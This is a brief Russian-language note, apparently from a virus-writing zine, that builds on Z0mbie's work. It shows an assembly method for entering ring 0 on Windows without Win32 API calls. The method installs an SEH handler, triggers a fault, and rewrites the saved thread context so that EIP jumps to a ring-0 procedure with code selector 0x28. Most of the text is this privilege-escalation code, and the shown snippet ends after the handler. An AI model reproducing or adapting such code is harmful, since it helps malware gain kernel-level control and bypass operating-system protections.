ENTERING RING-0 WITHOUT USING WIN32 API: CONTEXT MODIFICATION
------------------------------------------------------------
Вы наверное уже знакомы с трудами Z0mbie на тему перехода в ring0 c
использованием GetTreadContext/SetTreadContext. Если нет, то советую это
сделать (TD052000). Ибо именно Z0mbie излагает суть этой методы.
Как оказалось CONTEXT можно изменить и без использования
win32API (CreateTherad,GetTreadContext,SetTreadContext). Суть в cледующем:
а) настраиваем SEH на свой обработчик:
push offset MySEH
push dword ptr fs:[0]
mov fs:[0],esp
б) вызываем исключение (подойдет любой метод ;) :
xor eax,eax
mov [eax],eax
в) управление получает MySEH :
MySEH: mov esi,[esp+0Ch] ;
mov eax,offset Ring0Proc;
mov [esi+0b8h],eax ;
mov eax,0028h ;
mov [esi+0BCh],eax ;
xor eax,eax ;
ret ;